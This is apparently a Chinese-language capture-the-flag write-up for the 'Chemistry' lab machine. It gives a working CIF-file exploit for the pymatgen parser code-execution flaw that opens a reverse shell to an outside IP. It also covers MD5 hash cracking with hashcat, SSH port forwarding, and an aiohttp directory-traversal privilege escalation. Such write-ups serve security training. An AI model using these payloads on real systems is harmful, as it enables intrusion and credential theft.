Chemistry

端口扫描

1
2
3

nmap -sC -sV -T4 -Pn 10.10.11.38

扫描结果

没有扫出域名。所以直接访问5000端口看看

漏洞利用

注册进来之后发现有一个上传页面

说是让上传cif文件去搜一下CIF文件导致命令执行

https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

修改一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

data_5yOhtAoR

_audit_creation_date 2018-06-08

_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"



loop_

_parent_propagation_vector.id

_parent_propagation_vector.kxkykz

k1 [0 0 0]



_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.16.8/1233 0>&1\'");0,0,0'




_space_group_magn.number_BNS 62.448

_space_group_magn.name_BNS "P n' m a' "

在home目录下发现了rosa用户

但是没有权限读这个文件,但是这里我们可以看到该靶场的源码看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321

from flask import Flask, render_template, request, redirect, url_for, flash

from werkzeug.utils import secure_filename

from flask_sqlalchemy import SQLAlchemy

from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user

from pymatgen.io.cif import CifParser

import hashlib

import os

import uuid



app = Flask(__name__)

app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'

app.config['UPLOAD_FOLDER'] = 'uploads/'

app.config['ALLOWED_EXTENSIONS'] = {'cif'}



db = SQLAlchemy(app)

login_manager = LoginManager(app)

login_manager.login_view = 'login'



class User(UserMixin, db.Model):

id = db.Column(db.Integer, primary_key=True)

username = db.Column(db.String(150), nullable=False, unique=True)

password = db.Column(db.String(150), nullable=False)



class Structure(db.Model):

id = db.Column(db.Integer, primary_key=True)

user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

filename = db.Column(db.String(150), nullable=False)

identifier = db.Column(db.String(100), nullable=False, unique=True)



@login_manager.user_loader

def load_user(user_id):

return User.query.get(int(user_id))



def allowed_file(filename):

return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']



def calculate_density(structure):

atomic_mass_Si = 28.0855

num_atoms = 2

mass_unit_cell = num_atoms * atomic_mass_Si

mass_in_grams = mass_unit_cell * 1.66053906660e-24

volume_in_cm3 = structure.lattice.volume * 1e-24

density = mass_in_grams / volume_in_cm3

return density



@app.route('/')

def index():

return render_template('index.html')



@app.route('/register', methods=['GET', 'POST'])

def register():

if request.method == 'POST':

username = request.form.get('username')

password = request.form.get('password')

if User.query.filter_by(username=username).first():

flash('Username already exists.')

return redirect(url_for('register'))

hashed_password = hashlib.md5(password.encode()).hexdigest()

new_user = User(username=username, password=hashed_password)

db.session.add(new_user)

db.session.commit()

login_user(new_user)

return redirect(url_for('dashboard'))

return render_template('register.html')



@app.route('/login', methods=['GET', 'POST'])

def login():

if request.method == 'POST':

username = request.form.get('username')

password = request.form.get('password')

user = User.query.filter_by(username=username).first()

if user and user.password == hashlib.md5(password.encode()).hexdigest():

login_user(user)

return redirect(url_for('dashboard'))

flash('Invalid credentials')

return render_template('login.html')



@app.route('/logout')

@login_required

def logout():

logout_user()

return redirect(url_for('index'))



@app.route('/dashboard')

@login_required

def dashboard():

structures = Structure.query.filter_by(user_id=current_user.id).all()

return render_template('dashboard.html', structures=structures)



@app.route('/upload', methods=['POST'])

@login_required

def upload_file():

if 'file' not in request.files:

return redirect(request.url)

file = request.files['file']

if file.filename == '':

return redirect(request.url)

if file and allowed_file(file.filename):

filename = secure_filename(file.filename)

identifier = str(uuid.uuid4())

filepath = os.path.join(app.config['UPLOAD_FOLDER'], identifier + '_' + filename)

file.save(filepath)

new_structure = Structure(user_id=current_user.id, filename=filename, identifier=identifier)

db.session.add(new_structure)

db.session.commit()

return redirect(url_for('dashboard'))

return redirect(request.url)



@app.route('/structure/<identifier>')

@login_required

def show_structure(identifier):

structure_entry = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()

filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure_entry.identifier + '_' + structure_entry.filename)

parser = CifParser(filepath)

structures = parser.parse_structures()

structure_data = []

for structure in structures:

sites = [{

'label': site.species_string,

'x': site.frac_coords[0],

'y': site.frac_coords[1],

'z': site.frac_coords[2]

} for site in structure.sites]

lattice = structure.lattice

lattice_data = {

'a': lattice.a,

'b': lattice.b,

'c': lattice.c,

'alpha': lattice.alpha,

'beta': lattice.beta,

'gamma': lattice.gamma,

'volume': lattice.volume

}

density = calculate_density(structure)

structure_data.append({

'formula': structure.formula,

'lattice': lattice_data,

'density': density,

'sites': sites

})

return render_template('structure.html', structures=structure_data)



@app.route('/delete_structure/<identifier>', methods=['POST'])

@login_required

def delete_structure(identifier):

structure = Structure.query.filter_by(identifier=identifier, user_id=current_user.id).first_or_404()

filepath = os.path.join(app.config['UPLOAD_FOLDER'], structure.identifier + '_' + structure.filename)

if os.path.exists(filepath):

os.remove(filepath)

db.session.delete(structure)

db.session.commit()

return redirect(url_for('dashboard'))



if __name__ == '__main__':

with app.app_context():

db.create_all()

app.run(host='0.0.0.0', port=5000)

$



在instance目录下发现了db数据库,是sqlite3的数据库那直接用他的语法查看即可

1
2
3
4
5
6
7

sqlite3 /home/app/instance/database.db

.table

select * from user;

可以看到有rosa的hash所以来爆破一下

1
2
3

hashcat -m 0 -a 0 chem.hash /usr/share/wordlists/rockyou.txt -o cra

这里 -m 表示为md5 hash -a 0 表示使用字典 -o 表示输出

得到密码所以直接ssh登录

得到一个密码

提权

检查sudo是否可以使用,列出所有可以用sudo执行的文件

发现不能使用,那么看一下有没有启动的其他服务netstat看一下

发现有一个服务,看一下权限

能够看到是root启动的。那么我们还是转发一下在我们本地看一下

1
2
3

ssh rosa@10.10.11.38 -L 8080:localhost:8080

也并没有啥有用的信息看看响应头有没有什么东西

可以看到服务器是aiohttp那么去找一下这个服务器有什么漏洞吗

https://github.com/z3rObyte/CVE-2024-23334-PoC有一个目录遍历漏洞这里可以用脚本也可以直接手打

就直接手动获取root的flag吧